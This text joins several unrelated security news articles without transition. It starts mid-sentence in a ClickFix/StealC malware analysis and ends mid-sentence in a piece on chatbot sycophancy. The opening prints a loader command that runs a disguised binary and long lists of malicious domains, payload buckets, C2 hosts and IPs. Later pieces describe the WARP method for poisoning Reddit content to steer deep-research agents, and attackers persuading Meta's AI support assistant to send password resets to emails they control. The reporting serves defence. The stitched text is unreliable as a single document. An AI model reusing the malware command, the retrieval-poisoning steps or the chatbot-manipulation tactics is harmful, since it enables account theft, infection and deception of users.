cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. Connections with SyncTDS and TrafficTDS We found several other ClickFix campaigns and kits potentially linked to the same operator(s), although there is not enough evidence to confirm this. The domain dasdasdikasjdas[.]click resolves to one of the IPs related to this campaign 151[.]240[.]151[.]126. The domain previously returned a panel called “SyncTDS”. We found more than 20 domains that return the SyncTDS related panel. This panel has also changed graphics over time. One of these “SyncTDS” domains, maskingofking[.]xyz, resolves to 193.111.117[.]6 which hosts several ClickFix-related domains and an open directory containing an interesting kit called “TrafficTDS.” This kit allows the operator to support different payloads related to Windows, Linux, MacOS and Android. In this case, the pages shown to the user are related to ClickFix with a CloudFlare lure. One of the most interesting parts of this kit is the “APK manager” section, which allows the operator to show the user an “Update Required” page to download the malicious APK. IOCs Hash 72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 0234E3188F2883A438B3F2BEAB7A78B2: StealC 6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 206ce339febca0c3bcc850f42595fc63: Amatera Stealer eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT b8d53740024d126cb55f83854335a4ab: Rust Stealer Domains Distribute ClickFix pages: onegeekworld[.]com thefirmos[.]com antibotv3[.]com centralwildcats[.]com cloud.antibotv3[.]com cloudautosolutions[.]com sunseekersupply[.]com 123clocks[.]com orcanegames[.]com rwmonitoring[.]com 100furniture[.]com nepalcharchaa[.]com p-floribunds.pages[.]dev pg-altirade2.pages[.]dev pg-cordivant-m6.pages[.]dev g-luminence.pages[.]dev generator-qrcode[.]online regdev-google[.]com khosla[.]capital eorgke09054909j[.]com dropboxi[.]com CloudFlare buckets used for payload distribution: pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-620528e2dc874e16937673265aa23d39.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-9682d5896df841679c5a17eb41273f89.r2[.]dev pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev unitedstateverif[.]com: payload distribution bigflaredefence[.]com: payload distribution popularcard[.]shop: Rust Stealer C2 xzz[.]proxygrid[.]cc: Amatera Stealer C2 completstep[.]com: Loader C2 eventlogerps1[.]ink: Deno Loader be231ro963[.]com: Deno Loader IPs IP used for payload distribution: 151.240.151[.]126 85.239.149[.]16 85.239.149[.]40 93.152.224[.]29 151.240.151[.]46 93.152.224[.]167 85.239.149[.]78 192.69.195[.]131 135.181.171[.]40 94.26.83[.]206 91.92.34[.]128 85.239.144[.]31 93.152.224[.]39 94.26.90[.]112 146.19.248[.]120: StealC C2 Acknowledgements Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 Similar open directory reported: https://x.com/malwrhunterteam/status/2062241642627694690 Similar campaign reported: https://x.com/stop_spammerz/status/2062269326292324592

Week in review: Fortibleed campaign’s impact on orgs, Cisco Unified CM flaw exploited Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: Encrypted DNS still tells an eavesdropper where to look Encrypted DNS runs across much of the Internet. DNS over TLS, HTTPS, and QUIC keep the contents of a query away from anyone watching a network link. The encryption covers the message inside each packet. The packet still carries plaintext headers, and those values mark a flow as DNS. Agent Beacon: Open-source telemetry layer for AI agents AI coding agents such as Claude Code, Codex CLI, Cursor, and Claude Cowork run on developer laptops, CI jobs, cloud environments, where they edit files, run commands, and call outside tools. Beacon, an open-source project from Asymptote Labs, configures telemetry for those runtimes and writes a normalized record of what each agent does across local, CI, and cloud-agent surfaces. Who pays when you gate cyber-capable AI models? In this interview with Help Net Security, Jaya Baloo, COO & CISO at Aisle, examines the debate over restricting access to cyber-capable AI models. She lays out the strongest argument for gating these tools, then explains where it breaks down for security teams who depend on the same capabilities for defense. A $1,400 experiment in AI security auditing outperformed OpenAI’s Codex Security A research team has built a system that teaches AI agents to hunt for software bugs by writing the audit method down as plain text. The system, called EVOHUNT, keeps the underlying AI model fixed and improves only an external “playbook” that tells the agent how to work. GTA 6 early access offers are taking gamers’ crypto Scam websites are circulating across the internet with a pitch aimed at millions of gamers: a way to play Grand Theft Auto VI before its release. The pages promise early access for a few hundred dollars in cryptocurrency, ask buyers to enter a payment code, and claim the game will then unlock. Praxen: Open-source AI agent behavior verification Praxen is an open-source tool with a simple job: it checks whether an AI agent does what it claims to do. The tool takes an agent’s declared policy, looks at how the agent operates, and points out every spot where the two drift apart. Where IT meets OT and railway cybersecurity gets harder In this interview with Help Net Security, Jorge Aldegunde, Global Head of Railway Services at DNV, talks through what happens when old operational technology meets newer IT in monorail systems. He explains why open networks widened the attack surface, how teams decide whether to patch a signalling flaw without stopping trains, and who carries the liability. Scoring AI hackers when there is no answer key AI models are solving an increasing number of offensive cybersecurity benchmarks, making those tests less useful for evaluating the most advanced systems. Many rely on vulnerabilities that have already been publicly documented, allowing models to draw on existing knowledge. FrontierCyber, a benchmark from AI security lab Irregular, takes a different approach. It places models on real systems and measures how far they progress toward a security objective. The uptime questions every engineering leader should ask this week In this interview with Help Net Security, Mattias Geniar, CTO at Oh Dear, explains why most outages start quietly, as creeping latency or a slow rise in errors. He argues teams alert on the wrong things: absolute numbers instead of changes, isolated endpoints instead of real user outcomes. Healthcare leaders see a fatal cyber incident as inevitable Healthcare practices run on a chain of outside vendors. An EMR system holds clinical records, a billing platform processes claims, a telehealth tool supports remote visits, and a cloud provider stores data. Every one of those connections gives an outside company a path into the practice, and any one of them can break. According to Omega Systems’ 2026 Healthcare IT Landscape Report, the large majority of practices dealt with at least one operational disruption that traced back to a vendor or a vendor’s own supplier. Two CEOs on why security and AI readiness belong together SuperOps and Guardz are bundling PSA, RMM, MDM, and agentic SecOps into one offering for MSPs. In this Help Net Security Q&A, SuperOps CEO Arvind Parthiban and Guardz CEO Dor Eisner explain how a connected stack cuts the time and context lost to tool-switching, lowers costs against multi-vendor setups, and helps close the gap between average MSP margins of 8% and the 18% top performers reach. What the Fortibleed campaign means for organizations running FortiGate firewalls A massive credential-harvesting campaign targeting FortiGate firewalls has exposed thousands of organizations to potential network compromise, and a trove of attacker tools, scripts, and credentials left inadvertently exposed on a server has given researchers an unusually detailed look at how the operation worked. Cisco Unified CM flaw actively exploited to drop webshells (CVE-2026-20230) CVE-2026-20230, a server-side request forgery (SSRF) vulnerability affecting Cisco’s Unified Communications Manager (Unified CM), is being exploited to drop webshells and achieve remote code execution capability on the underlying server. Law enforcement hits StealC and Amadey malware networks Operation Endgame, the largest international law enforcement operation aimed at disrupting ransomware and cybercrime infrastructure across the world, has claimed its latest targets: StealC and Amadey. Mystery hackers use novel SharkLoader dropper against governments, software devs Kaspersky researchers have uncovered a previously unknown cyberattack campaign that has compromised government organizations and software development companies in multiple countries. Synology issues critical fix for MailPlus Server vulnerabilities Synology has has fixed critical vulnerabilities in MailPlus Server, a software package used to run private email infrastructure on Synology NAS devices. Details about the vulnerabilities are still under wraps. Product showcase: How to evaluate AI SOC platforms and where Prophet AI leads The agentic SOC market is crowded with vendors promising to automate alert triage, investigation, and response. The challenge is separating measurable operational gains from marketing claims. Prophet Security is an agentic AI SOC platform that autonomously triages, investigates, and responds to security alerts. It also helps strengthen detection and response programs by identifying tuning opportunities, uncovering detection gaps, and enabling natural-language threat hunting. 23 ClawHub plugins squatting official scopes expose AI registry security gaps In this Help Net Security video, Ax Sharma, Head of Research at Manifold Security, breaks down how 23 code-executing plugins ended up under ClawHub’s official @openclaw and @clawhub scopes while owned by unrelated accounts, why an official-looking scope is a supply chain risk even when the code isn’t malicious, and what the registry changed after the disclosure. What your next cyber insurance renewal will demand In this Help Net Security video, Michael Loewy, co-founder, Tide Foundation, explains how cyber insurance is rewriting security programs at renewal time. Hundreds of AI-powered iOS apps found exposing credentials Mobile app developers are packing AI features into everything from writing assistants to productivity tools and lifestyle apps. New research shows that securing access to those services remains a challenge. Researchers from Wake Forest University analyzed 444 iOS applications with LLM features and found 282 that exposed exploitable credentials or backend access mechanisms. Free, no-signup World Cup streams serve scams instead of football Researchers at Malwarebytes identified dozens of websites claiming to offer free access to FIFA World Cup matches. Instead of streaming games, the sites directed visitors through a chain of advertising pages designed to generate revenue for their operators. Phishing hides in routine Microsoft 365 workflows Attackers are abusing Outlook Groups and Microsoft 365 collaboration features to make phishing campaigns appear routine, according to Fortra. The attack begins when a target is added to or invited into an attacker-controlled Microsoft 365 Group. The group’s name, description, or welcome message is designed to create urgency, often using themes such as payroll updates, contract renewals, supplier requests, or mandatory training notices. Two Scattered Spider hackers plead guilty over Transport for London cyberattack Two members of the notorious hacker group Scattered Spider have pleaded guilty to charges related to a 2024 cyberattack on Transport for London (TfL) that resulted in £29 million in loss and recovery costs. Using Reddit to manipulate AI search results is surprisingly easy A Reddit comment that takes only a few seconds to write can end up influencing the answers generated by AI research tools. A Cornell Tech study found that a short snippet of user-generated text, sometimes as little as 13 words, was enough to affect the output of deep-research agents, AI systems that search the web, gather information from multiple sources, and generate reports with citations. LastPass customer data exposed through Klue supply chain attack LastPass disclosed that attackers used OAuth tokens compromised in a supply chain attack on Klue, a market intelligence platform that integrates with CRM and sales tools across organizations, to access customer data stored in its Salesforce environment. Phishing attack on healthcare firm Xsolis impacts 1.4 million people Healthcare technology company Xsolis confirmed that a phishing attack resulted in unauthorized access to its network. The company develops AI-powered software for hospitals, health systems, and health plans and serves more than 600 hospitals and health insurers. Algerian national accused of running cybercrime marketplaces extradited to US An Algerian national accused of running online marketplaces that sold phishing kits and fraud tools has been extradited from Spain to the United States to face bank fraud conspiracy charges. WhatsApp will warn users before they message a potential scammer WhatsApp is rolling out a warning screen on Android and iOS that appears before users open chats with unfamiliar phone numbers. Meta hopes that this new feature will help users avoid scammers. Hacker gets 18 months for attack that compromised 60,000 betting accounts A 21-year-old man known online as “Snoopy” was sentenced to 18 months in prison for his role in a scheme that hacked user accounts on a fantasy sports and betting website and sold access to them, causing hundreds of thousands of dollars in losses. Stealthy new backdoor surfaces in attacks on multiple sectors A relatively new backdoor called Mistic has been deployed in multiple attacks since April 2026 targeting organizations in the insurance, education, IT, and professional services sectors, according to Symantec. A privacy-first take on local malware analysis Submitting a suspicious file to VirusTotal or MalwareBazaar uploads a copy to a searchable public repository. While these platforms help analysts quickly identify malicious files, they also allow threat actors to see when their tools have been detected by monitoring for matching hashes. In targeted attacks, uploaded samples may also contain sensitive victim data, exposing it to third-party systems. Burnyard, a research project from The Ohio State University takes aim at this condition. It runs suspicious binaries on the analyst’s own hardware and keeps each sample local for the duration of the analysis. Microsoft gives Windows 10 users an unexpected extra year of free security updates Microsoft has given Windows 10 users another year of free security updates, extending its consumer Extended Security Updates (ESU) program until October 12, 2027. SIM-swapping gang busted in international police operation Officers from Poland’s Central Bureau for Combating Cybercrime (CBZC) arrested four suspected members of an organized cybercrime group accused of SIM swap attacks, cryptocurrency theft, and money laundering. Mirage2FA phishing kit uses HTML smuggling to steal Microsoft 365 credentials Mirage2FA, a phishing kit that combines short-lived HTML smuggling with obfuscated JavaScript loaders to deliver fake Microsoft 365 login pages and steal credentials during MFA prompts, has been identified by researchers at Fortra. The systemd 261 release brings a software TPM, new OS installer Linux distributions that ship systemd as their init system now have a new version to track. The systemd 261 update adds a cloud metadata subsystem, carries process state through kexec reboots, and continues a long-running effort to load external libraries on demand. Product showcase: Avira Security for iOS blends security, privacy, and device optimization Avira Mobile Security for iOS combines security, privacy, and device optimization tools in a single application. The app is also available for Android, macOS, and Windows devices. Only 7% of companies are ready for the AI agents they deployed Most organizations now run or pilot AI agents that operate on company data with limited human direction at each step, a share that reaches 88% in Veeam Software’s Data and AI Trust Gap report. The systems that are supposed to keep an eye on them have not caught up. Residential proxy SDKs are hiding in LG and Samsung smart TV apps Smart TVs in living rooms run small apps that show fish tanks, clocks, solitaire games, and slideshows of puppies. A share of those apps can also send other people’s internet traffic out through the home connection. Spur Intelligence scanned 6,038 apps across LG webOS and Samsung Tizen and found 2,058 that contain residential proxy software. OpenAI wants AI to fix vulnerabilities, not just find them OpenAI expanded Daybreak, its cybersecurity initiative that combines AI models, Codex Security, security researchers, maintainers, industry partners, and access controls to support vulnerability discovery and remediation. Organizations can use the initiative to identify, validate, and fix software vulnerabilities, while developers, maintainers, and security teams can use its tools to strengthen defensive security capabilities. Security testing was built for a slower world Software teams are pushing code into production faster than security testing can keep up. AI is accelerating development cycles and adding pressure to security programs that rely on periodic validation and manual penetration testing. The 2026 State of AI Security Testing report from Aikido Security found that 76% of organizations have had to stop, restrict, or roll back AI-driven behavior in the past 12 months. Google Workspace expands password reset alerts to all admins Google’s Alert Center, a dashboard in the Google Admin console that displays security and administrative alerts and helps administrators identify, investigate, and respond to issues affecting their organization, is expanding the “Super Admin password reset” alert into the “Admin password reset” alert. The feature is rolling out gradually and will be available to all Google Workspace customers. Anthropic’s Claude Tag gives AI agents independent identities Anthropic introduced an agent identity model for Claude Tag, its AI assistant designed for team collaboration in shared workspaces. The model gives Claude its own identity, permissions, and tool access, configured by administrators and tied to a workspace or channel. Most teams will ship AI-written infrastructure code with little review AI-assisted development has settled into everyday practice across software organizations, and developers using it move from idea to working code in hours. That code does not stay with the developers who prompt it. It flows downstream to the DevOps and platform teams who deploy and maintain it, and those teams are not getting the same speed boost. Best practices for AI in open-source work Free and open source software developers us AI coding assistants such as Claude Code, Copilot CLI, Antigravity, and OpenCode in their daily work. The Software Freedom Conservancy responded to that trend with a set of recommendations for contributors who use these tools, which it groups under the label LLM-gen-AI, meaning generative AI systems backed by LLMs. LLM security advice looks solid until you check the hard cases Plenty of people now type their security worries straight into a chatbot. A hacked account, a suspicious email, a stalker who might be tracking a phone, all of it lands in the same window someone would use to ask about dinner. A benchmark called HelpBench tests how well chatbots handle those moments, and the results give security professionals something to watch in what their users are being told. Google Wallet adds TSA Touchless ID for faster airport screening Google Wallet has joined the Transportation Security Administration’s (TSA) PreCheck Touchless ID program, allowing travelers to pass through security checkpoints using the TSA’s facial comparison technology. The system verifies identity by matching a live photo taken at a checkpoint with identity and flight information, reducing the need to present a physical ID. Modelplane: Open-source control plane for AI inference Organizations that run open-weight models on hardware they own operate GPU fleets spread across clouds, neoclouds, and on-premise data centers. Each fleet handles model placement, replica scaling, infrastructure provisioning, weight distribution, and traffic routing. Teams have built this coordination layer by hand, one operator at a time. Upbound, the company behind the Crossplane project, released Modelplane, an open-source control plane that manages fleet-wide coordination for AI inference. Ransomware gangs find Europe’s weakest link in third-party suppliers Ransomware attacks against European organizations increased during the first months of 2026, with third-party suppliers becoming a major entry point for attackers. Black Kite examined 2,066 ransomware incidents across 31 countries between January 2025 and April 2026 in its 2026 European Cyber Risk Report. Critical open-source projects get a new security framework Open source software projects are getting a new framework for handling security vulnerabilities as AI shortens the time between flaw discovery and exploitation. The Linux Foundation has launched Akrites, an industry initiative that brings together technology companies, financial institutions, security vendors, AI companies, and open source projects to support the remediation and disclosure of vulnerabilities affecting widely used open source software. Cybersecurity jobs available right now: June 24, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the month: June 2026 Here’s a look at the most interesting products from the past month, featuring releases from AISLE, Asimily, Blue Planet, depthfirst, Diligent, Drata, Elastic, Filigran, Flip, Hyland, IDnow, Legit Security, MazeBolt, Noma, Qodo, Ridge Security, Tigera, and WitnessAI.

Using Reddit to manipulate AI search results is surprisingly easy A Reddit comment that takes only a few seconds to write can end up influencing the answers generated by AI research tools. A Cornell Tech study found that a short snippet of user-generated text, sometimes as little as 13 words, was enough to affect the output of deep-research agents, AI systems that search the web, gather information from multiple sources, and generate reports with citations. The risks of relying on community-generated content are already familiar to many internet users. Google’s AI Overviews famously recommended adding glue to pizza sauce after pulling information from an old joke Reddit post. Reddit threads can become AI sources User-generated platforms account for a notable share of the information retrieved by deep-research agents. Across the open-source systems examined in the study, between 16.7% and 23.4% of retrieved URLs came from user-generated sources, with Reddit accounting for the largest share. “A single poisoned Reddit comment can influence generated outputs for an entire cluster of related queries,” researchers said. “A large fraction of the content retrieved by deep research agents originates from user-generated platforms such as Wikipedia, Reddit, and community forums, because they provide detailed explanations and broad topical coverage. At the same time, they allow users to directly edit or contribute content, making them comparatively easy to modify,” they added. How the attack works The attack, dubbed Web Agent Retrieval Poisoning (WARP), unfolds in three stages. First, an attacker identifies Reddit threads, Wikipedia pages, and forum discussions that repeatedly appear across searches related to a topic. Those pages become targets because AI research agents are likely to retrieve them as well. Next comes content generation. A short piece of text is written to blend into the discussion while promoting a product, service, or idea. The paper notes that Generative Engine Optimization (GEO), a set of techniques designed to make content more likely to be surfaced, cited, or summarized by AI systems, can increase the likelihood that AI agents retrieve the content. The final step is deployment. The content is posted as a comment, reply, or page edit. Once indexed by a search engine, it becomes available to AI systems that retrieve the page during future research sessions. The attack does not require access to an AI model, its prompts, or its retrieval infrastructure. It only requires the ability to contribute content to a public platform. Results from the evaluation To avoid polluting the public web, the researchers did not post manipulated content to live websites. Instead, they built a testing framework called GeoStorm that modifies content after it has been retrieved by a deep-research agent. This allowed the attack to be evaluated without exposing users to manipulated information. One test added a recommendation for a fictional restaurant called Sol Azteca to content associated with discussions about Mexican food in Austin. When the AI system was later asked for the best Mexican restaurants near Austin, it repeated the recommendation and cited the source. Another test used a fictional dating app called SilverPath. After promotional content describing SilverPath as a leading option for divorced men over 50 was introduced into retrieved content, the system later recommended the app in response to queries about dating services for that demographic. In the study’s search-snippet tests, roughly 13 words of poisoned text were enough to get a fictional product mentioned in 38% to 51% of responses after the manipulated content was retrieved by the AI agent. Spreading the same message across multiple sources increased mention rates to as high as 62%. In a separate full-content experiment, researchers appended poisoned text to an existing Reddit thread. Although the injected content accounted for less than 4% of the retrieved material, conditional mention rates still ranged from 30% to 53%. The full attack was evaluated against three open-source deep-research agents: STORM, Co-STORM, and OmniThink. Commercial products such as ChatGPT Deep Research and Gemini Deep Research were not subjected to end-to-end attacks because doing so would have required modifying content on the public web. The researchers instead analyzed citation patterns. Gemini Deep Research cited user-generated content in 12.1% of observed citations, compared with 0.4% for OpenAI Deep Research, suggesting greater exposure to user-generated content. “Our findings raise important questions about information integrity in the age of agentic search. Evidence suggests that users find LLM outputs highly convincing, even when they contain explicit falsehoods, across a variety of contexts,” the authors concluded.

The UK government will ban under-16s from social media, with regulations due before Christmas and the rules taking effect in spring 2027. To enforce it, platforms must age-check their users. In practice that means anyone opening a new account will likely have to prove they're over 16 by uploading an ID or passing a facial age scan, the same checks that adult sites serving UK visitors have implemented since July 2025 under the Online Safety Act. Long-standing accounts are largely exempt, but signing up fresh now triggers verification, effectively ending anonymous account creation in the UK. Security and privacy experts warn the checks are easy to circumvent, put everyone's ID and biometric data at risk of breaches, and were rushed in with little political scrutiny. The announcement Prime Minister Keir Starmer set out the plan on June 15, following a national consultation that drew more than 116,000 responses from parents, children and experts. The government says nine in ten parents backed an under-16 ban, and two-thirds of young people agreed that under-16s should be kept off at least some platforms. "That's why we're going further than any country in the world by banning social media for under-16s and putting wider protections in place to give kids their childhood back," Starmer said. "This is a line in the sand. Tech giants had their chance and failed." Technology Secretary Liz Kendall framed it as a fight with the platforms: "Tech companies have had countless opportunities to keep children safe, yet they have failed to act. That is why we are taking power away from the tech giants and putting it back in parents' hands." What's covered The ban is modelled on Australia's, which took effect in December 2025 and was the first of its kind. It will cover user-to-user platforms "whose purpose is to enable social interaction" and that run algorithmic feeds. The government names Instagram, YouTube, TikTok, Snapchat, Facebook and X. Messaging services such as WhatsApp and Signal are explicitly excluded, as is YouTube Kids. There will be a narrowly defined exemption list for educational services, e-commerce and music streaming. The UK says it will go further than Australia. High-risk features, such as livestreaming and strangers being able to contact children, will be restricted across a wider range of services, including gaming sites like Roblox (the platform stays, but features such as chat get locked down). To avoid a "cliff-edge at 16," those stranger-contact and livestreaming restrictions will be on by default for 16- and 17-year-olds too. Separately, AI "romantic companion" chatbots that simulate sexual or roleplay relationships will have to enforce an 18+ minimum, with intimate functions restricted for under-18s on AI chatbots more broadly. The government is also consulting on overnight curfews and breaks in infinite scrolling for under-18s, with detail promised in July. The catch for adults: it's the new accounts The government's reassurance is that most adults won't face a fresh check. According to a fact sheet, an account is treated as low-risk if it has been open for more than 16 years, has a credit card attached, or is linked to an email already age-verified elsewhere. Anyone who's already verified under the existing Online Safety Act wouldn't need to do it again. But that carve-out is essentially a grandfather clause, and it does nothing for new accounts. If you create a social media account from scratch after the rules land—say you want a fresh, pseudonymous handle, or you're simply a new user—none of those passive signals apply, and the fallback is exactly what the fact sheet describes: a facial recognition check, or an ID upload. In practice the regime quietly converts what's billed as child protection into a rule that no adult can open a new account without proving their age. It's a lighter touch than the adult-content regime, for now. Since July 25, 2025, the Online Safety Act has required adult and other sensitive sites to run "highly effective" age checks (typically an ID upload or a facial-age selfie) for every user, with no grandfathering. Enforcement has also been aggressive. By February 2026, Ofcom had opened investigations into more than 90 platforms and issued six fines, and its remit had stretched to Reddit, X, Discord, Bluesky and AI services. The social media age-gate doesn't go that far yet, but it normalises the same plumbing. Ofcom has been asked to run a rapid study on how to verify whether someone is over 16. The aforementioned fact sheet also notes proving you're over 18 "could be as simple as a facial recognition check." The VPN loophole The well-documented weakness is that a VPN defeats all of it. The Online Safety Act targets sites, not users, so connecting through a server outside the UK sidesteps the check. Some VPN providers reported signup spikes of up to 1,800% when adult-site enforcement began. Any social media age-gate inherits the same gap, and Australia's experience bears it out. Research there found more than 60% of children were still using social media months after that country's ban. The UK government has limited room to close the loophole. A blanket VPN ban for the whole population has been ruled out. In October 2025 a tech minister, Baroness Lloyd, told the Lords there were "no current plans to ban the use of VPNs," citing their legitimate uses. A children-specific clampdown is a different story. In February 2026 the government said its wellbeing consultation would examine "options to age restrict or limit children's VPN use," and in January 2026 the House of Lords inflicted a government defeat, voting 207 to 159 for an amendment to the then Children's Wellbeing and Schools Bill that would require ministers to prohibit VPN providers from serving UK children. To sort children from adults, that measure would in practice force providers to age-check every user. The amendment drew public petitions against it. The Commons rejected it across several rounds of parliamentary 'ping-pong,' and the Act that received Royal Assent (became law) in April instead handed ministers a broad power to restrict children's online access by regulation. For now, nothing stops a determined adult, or a determined 15-year-old, from getting around it. What security and privacy researchers are saying The cybersecurity objection isn't to the goal, but that the enforcement mechanism creates new risks while the controls themselves don't hold up. Dr. Siamak Shahandashti, a senior lecturer in cyber security and privacy at the University of York, pointed to fresh empirical work from Politecnico di Milano testing age-verification methods deployed on adult sites. The researchers found low-to-medium robustness for nearly every method except credit-card checks. Most could be bypassed with tools and know-how within reach of "motivated minors." Their blunt conclusion, which Shahandashti quoted: mandated age verification currently functions as "compliance theatre." He added that checks linked to real, physical ID could be made robust enough if clear standards were set. Dr. Richard Gomer, a lecturer in computer science at the University of Southampton, zeroed in on the second-order risk. Enforcing an under-16 ban means age-gating everyone, and that process is itself dangerous. Handing a passport or driving licence to platforms, he warned, exposes people to identity theft or blackmail when those records inevitably leak, something already seen under the Online Safety Act rollout. He also flagged the quieter cost of the regulation pushing the web further from its original ideals of anonymous, open communication. That data-breach risk is not hypothetical either. Responding to the ban, the Open Rights Group (ORG) warned that over-16s will now have to surrender identity documents or biometric data to unregulated age-verification companies, pointing to Discord as a platform that already suffered a major data leak after introducing age checks. James Baker, who runs ORG's Platform Power and Freedom of Expression programme, argues the measures chase symptoms rather than the cause, namely the engagement-driven business models that reward harmful content, and has previously warned that the underlying powers were "rushed through without proper time for political scrutiny." Platforms aren't on side either. Meta and YouTube both argue that bans push teenagers toward less-regulated spaces rather than making them safer, with Meta making the case that age checks should sit on the device so users aren't handing ID to every service separately. The wider direction of travel It's worth noting where this sits. Since January 2025 the government has been building a GOV.UK Wallet and a digital driving licence, pitched partly as a way to prove your age online and in person using the facial-recognition features built into modern phones. That's separate from this announcement and predates it. But together they sketch a direction of travel, where proving your age is increasingly a precondition for being online in the UK. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

ServiceNow has warned about a security incident in which unknown threat actors exploited a flaw to obtain deeper unauthorized access to susceptible instances. "On June 5, 2026, ServiceNow applied a security update to hosted customer instances," the company revealed in an advisory that requires customer access. "The update concerned a security issue that could allow an unauthenticated user, in certain circumstances, to gain greater access to ServiceNow instances than intended." The security update makes changes to an endpoint configuration to limit this access to authenticated users. The security flaw currently does not have a CVE identifier. Details of the issue first emerged on Reddit. ServiceNow said it detected anomalous activity relating to the security issue, and that it observed evidence of successful queries of instance tables against a "subset of customers." Impacted customers have been notified, it added. "The security issue pertains to customers who are on the Australia platform release or made certain configuration changes to instances on releases prior to Australia," it noted. A Reddit comment from a user named "d3s7iny" claimed that its security team reported the vulnerability to ServiceNow, adding that the software company had been aware of the problem internally since April 7, 2026. For about two months, ServiceNow is said to have classified it as a non-urgent issue, with plans to remediate it in a future update. When reached for comment, a ServiceNow spokesperson said "our main priority was to reach out directly to the subset of customers this [incident] affected, it was not broad." The company has since publicly acknowledged in an advisory that "a subset of customer instances were queried successfully as part of this activity." The malicious activity is said to have commenced on June 2, 2026. "On June 3-4, 2026, customers shared submissions to their bug bounty programs regarding a security issue that could, in certain circumstances, allow an unauthenticated user to gain unwanted access to information in ServiceNow instances," it added. "These submissions were similar to a confidential submission sent to our bug bounty program on April 22, 2026." (The story was updated after publication to include a response from ServiceNow and details of the security issue.)

Hackers used Meta’s AI support system to hijack over 20,000 Instagram accounts Meta has revealed that attackers hijacked 20,225 Instagram accounts by exploiting a flaw in the company’s AI-assisted account recovery system. According to the company, a vulnerability in High Touch Support (HTS) allowed unauthorized parties to perform password resets on Instagram accounts. HTS is an AI-assisted account recovery system for Instagram designed to help users regain access to locked accounts. Users can request password reset links through the support workflow when they lose access to their accounts. “The tool itself worked properly and functioned as intended; however due to a bug in a separate code path, the system did not properly verify that the email address provided by the individual requesting a password reset matched the email address associated with that user’s Instagram account,” explained Amber Hannah, Associate General Counsel, Incident Response Legal at Meta. “As a result, when an individual provided an email address not previously associated with the account, the system incorrectly sent a password reset link to that unassociated email rather than rejecting the request. This allowed unauthorized third parties to receive a password reset link for accounts they did not own. Upon resetting the password, the unauthorized party was able to log in to the account if the account holder had not enabled 2FA,” added Hannah. Meta said it identified the vulnerability on May 31. The filing published on Maine’s Attorney General website lists April 17 as the incident date, indicating the first unauthorized access may have occurred more than six weeks earlier. The company said it has no evidence showing what information, if any, was accessed from the compromised accounts. It noted that data potentially exposed through affected accounts included contact information, such as email addresses and phone numbers, dates of birth, photos, videos, stories, direct messages, account activity, profile information, and linked services. Last week, reports emerged on Reddit, X, Telegram, and in security communities that Instagram accounts were being hijacked through Meta’s AI-powered support workflow. What stood out was how simple the attack appeared to be. Videos shared on Telegram show attackers interacting with Meta’s AI support assistant. In the videos, the attackers explained that they used VPN services to place themselves in the same general geographic area as the target account before asking the chatbot to link the account to an email address under their control. According to security journalist Brian Krebs, attackers targeted high-profile Instagram accounts, including the Obama White House account and the account of the U.S. Space Force’s Chief Master Sergeant, as well as short, high-value usernames that can be resold on underground markets. Upon discovering the vulnerability, the company disabled the affected AI-assisted support tool and invalidated password reset links generated through the vulnerable workflow. It also required additional authentication for potentially affected accounts and instructed impacted users to reset their passwords. “Prior to re-launching the tool, Meta will fix the authentication check in the Instagram recovery entry point to ensure proper verification of email addresses against existing account information before any password reset is initiated. Additionally, Meta is conducting a comprehensive review of similar account recovery flows across Meta’s platforms to identify and remediate any potential issues,” the company concluded. Meta launched its AI support assistant in March, claiming: “We’re rigorously testing each of these AI systems, building in safeguards and evaluating their performance to protect against bias and ensure consistency and accuracy.” Apparently, offloading account recovery to AI backfired sooner than expected.

CISOs are bullish on AI and have big plans to roll out future tools. We talk to Reddit CISO Frederick Lee and leading analyst Dave Gruber about how AI is working out in the real world, as well as its future promise.

Stanford computer scientists just proved what therapists already suspected: AI chatbots will agree with almost anything you say to keep you happy. The researchers caught these systems validating dangerous decisions just to maintain user engagement. That’s a worrying development, especially given Pew research figures showing nearly one in eight (12%) of American teenagers have turned to chatbots for emotional support. The Stanford scientists tested 11 major models including ChatGPT, Claude, and Gemini. They fed them data from existing databases of personal advice, along with questions on Reddit’s popular r/AmITheAsshole subreddit, where people ask the community for opinions on how they handled personal disputes. The bots validated user behavior 49% more often than humans did, according to the Stanford paper. The researchers also tested the AIs on statements with potentially harmful actions toward self or others, spanning 20 categories such as relational harm, self-harm, irresponsibility, and deception. The bots backed these statements 47% of the time. AI bots tend to agree with people because it makes users feel good. These systems emphasize user satisfaction, and they take their lead directly from how users respond to them, using a system called reinforcement learning from human feedback (RHLF). It uses things ranging from chat length to sentiment to determine when a person is happy with a response (and therefore more likely to come back). Chatting with a silicon sycophant also tends to make people more certain of their beliefs, which by implication means less open-minded, the study found. For instance, after talking with sycophantic bots, 2,400 test subjects became more stubborn and less willing to apologize. When ChatGPT became too nice Balancing between sycophancy and impartiality is a tough line to walk for an AI service provider trying to keep its user satisfaction levels up. Almost a year ago, OpenAI admitted that it messed up by making ChatGPT too sycophantic, due in part to over-concentration on user ‘thumbs-up’ and ‘thumbs-down’ responses to its chats. But current data suggests that users actually favor responses that can potentially harm them in unforeseen way. This came up in another research program between Anthropic (maker of Claude.ai), and University of Toronto researchers. The in-depth study of AI chats examined how chats can “disempower” users by ushering them toward beliefs that are at odds with reality, or by encouraging them to make judgments or take actions that are at odds with their values. Interestingly, this disempowerment was preferred, the researchers found. “We find that interactions flagged as having moderate or severe 